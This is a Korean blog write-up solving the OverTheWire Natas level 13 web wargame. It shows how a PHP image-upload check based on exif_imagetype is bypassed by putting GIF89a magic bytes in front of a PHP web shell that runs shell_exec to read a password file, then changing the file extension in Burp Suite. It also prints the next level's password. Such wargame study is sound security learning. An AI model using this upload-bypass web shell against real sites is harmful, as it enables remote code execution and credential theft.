OverTheWire: Natas level13

반응형


OverTheWire 문제풀이 - Natas

* Bandit는 웹 보안 관련 문제입니다.

* 개인적인 문제풀이로 해답을 보시기 전에 직접 풀어보시기를 권해드립니다.

* 반드시 연습용으로 제공된 환경에서만 작업하시기 바랍니다. 악용으로 일어난 사태는 절대로 책임지지 않습니다.

[링크] Natas 바로가기


Natas level13

Natas13에 접속하면 다음과 같은 화면을 볼 수 있다.

'보안상의 이유로 이미지 파일 만 허용합니다!' 라고 하는데 전보다 보안이 한층 강화된 것 같다. 소스보기로 어떻게 방어하고 있는지 살펴보자.

[View sourcecode]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?
/* 코드 중략 */
if(array_key_exists("filename"$_POST)) { 
    $target_path = makeRandomPathFromFilename("upload"$_POST["filename"]); 
 
 
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { 
        echo "File is not an image"
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"
        } else
            echo "There was an error uploading the file, please try again!"
        } 
    } 
}
/* 코드 중략 */
?>

cs

코드를 살펴보니 exif_imagetype 함수로 이미지파일이 아닌것은 모두 막아놓고 있다. 이 함수때문에 패킷을 가로채 확장자를 아무리 바꿔 보내도 소용이 없다. 사실 우리는 바탕화면에서 눈으로 파일을 구분할때 image.jpg 에서 .jpg 처럼 확장자를 보고 판단하지만 사실 확장자는 너무나 손쉽게 조작할 수 있으므로 단순히 눈에 보이는 확장자로 이미지 형식을 결정하는 것은 위험한 방법이다.

확장자가 조작된 파일을 예방하기 위한 것이 바로 파일 시그니처인데 시그니처란 파일 고유의 포맷으로 특정 byte로 이루어져 있는 매직넘버다. 이러한 시그니처는 별도의 프로그램 없이는 일반 사람들이 쉽게 조작할 수 없기 때문에 파일 분석에 요긴하게 쓰인다. 이 문제는 시그니처를 알고 있는가에 대해 물어보는 문제인듯 하다. 시그니처를 아직 모르는 사람들을 위해 어제 포스팅 해놓은 링크를 올려놓겠다.

[File Signature Collection] 파일 시그니처 모음




[문제 풀이]

natas12번 문제를 풀 때 사용한 코드는 다음과 같다.

1
2
3
4
<?php
$output = shell_exec('cat /etc/natas_webpass/natas13');                                                
echo "$output";            
?>
cs

이 코드를 txt 파일로 저장한 후 버프 슈트를 이용해 확장자를 php 로 조작해 통과시키는 방법이었는데, 이 코드에 출력할 natas레벨을 14로 바꾸고 이미지 시그니처만 추가하면 된다. txt 파일은 별다른 시그니처가 없으므로 따로 시그니처 조작 프로그램을 이용하지 않아도 된다. 이 코드에 GIF 이미지 시그니처를 추가해 보면 다음과 같다.

1
2
3
4
GIF89a<?php
$output = shell_exec('cat /etc/natas_webpass/natas14');                                                
echo "$output";            
?>
cs

이 코드를 저장 후 저번처럼 프록시 설정 후 패킷을 가로채 파일 형식을 php로 바꾸어 보내면 된다.

[그림1 패킷 조작]

[그림2 php 파일 업로드 성공]

[그림3 php 함수가 실행된 화면]

미리 넣어둔 GIF 파일 시그니처를 뺀 나머지가 natas14 패스워드가 되겠다.

next level password : Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

반응형

'War Game > natas' 카테고리의 다른 글

OverTheWire: Natas level15  (1) 2017.07.21
OverTheWire: Natas level14  (0) 2017.07.20
OverTheWire: Natas level12  (0) 2017.07.14
OverTheWire: Natas level11  (0) 2017.07.12
OverTheWire: Natas level10  (0) 2017.07.12
TAGS.

Comments